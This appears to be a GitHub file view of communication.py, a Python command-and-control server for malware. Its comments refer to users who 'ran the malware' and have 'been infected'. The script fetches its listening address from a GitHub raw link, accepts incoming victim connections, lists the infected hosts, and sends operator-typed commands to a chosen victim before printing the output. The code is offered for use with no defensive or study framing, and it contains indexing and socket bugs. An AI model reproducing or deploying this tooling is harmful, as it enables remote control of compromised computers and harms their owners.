-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcommunication.py
More file actions
109 lines (92 loc) · 3.47 KB
/
communication.py
File metadata and controls
109 lines (92 loc) · 3.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import requests
import socket
import threading
user_connections = []
user_names = []
useramount = 0
def mainmenu():
menu = input("HOME> ")
menu = menu.lower()
if menu == "help":
print("Connections | Will check the most recent connections and allow you to choose a user that ran the malware")
print("Connect | Will allow you to chose what computer to connect too")
mainmenu()
elif menu == "connections":
connectionpage()
elif menu == "connect":
handleconnections()
else:
print("Invalid command")
mainmenu()
#handles all new connections and should repeatidly scan for new incoming connections
def newconnection():
global useramount
useramount = useramount + 1 #adds one to the user amount
userlist = client_socket.recv(1024).decode()
print(f"Connection received{userlist}")
user_names.append(userlist) #adds the user computer name to the lsit
user_connections.append((client_socket)) #adds the user socket to the list in the same position that name is for simpliar access
print(user_connections)
print(user_names)
mainmenu() #main menu function durrr
def handleconnections(*args):
global addr
global client_socket
#creates a constantly running connection
while True:
s.listen(5)
client_socket, addr = s.accept() #will auto accept any incoming requests
newconnection()
#main menu function were you check your connected user's you have been infected
def connectionpage():
for i in range(len(user_connections)):
print(f"{i + 1} --> {user_names[i - 1]}")
connectionbranch = int(input("CONNECTION> "))
selected = connectionbranch - 1
usersocket = user_connections[selected]
username = user_names[selected]
print(usersocket)
communication(usersocket, username) #runs the communication command which i fr dont even need but ill check some more things out
def handle_client(client_socket):
while True:
data = client_socket.recv(1024)
if not data:
print("ERROR connection closed ERROR")
break
print(f"Received from client: {data.decode()}")
client_socket.sendall(data)
client_socket.close()
#server function Durrr
def server():
global hostip
global port
global s
global client_socket
link = "https://raw.githubusercontent.com/80dropz/communication/refs/heads/main/ipv4.txt"
data = requests.get(link)
hostip = data.text.strip() #gets the host ip from my link then strips it down to just a raw textfield
port = 65432
print(f"Server will listen on {hostip}:{port}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#starts the socket
s.bind((hostip, port))
print(f"Binding to {hostip} on port {port}")
handleconnectionsthread = threading.Thread(target=handleconnections, args=(s,))
handleconnectionsthread.start()
def communication(UserSelected, username):
while True:
command = input(f"{username} COMMAND> ")
if command.lower() == 'exit':
print("Closing connection.")
mainmenu()
break
UserSelected.sendall(command.encode())
print(f"Sent a command to {UserSelected}")
response = client_socket.recv(1024)
if not response:
print("ERROR couldnt receive a response ERROR")
break
print(f"Client response: {response.decode()}")
s.close()
#Will instantly run the server
if __name__ == "__main__":
server()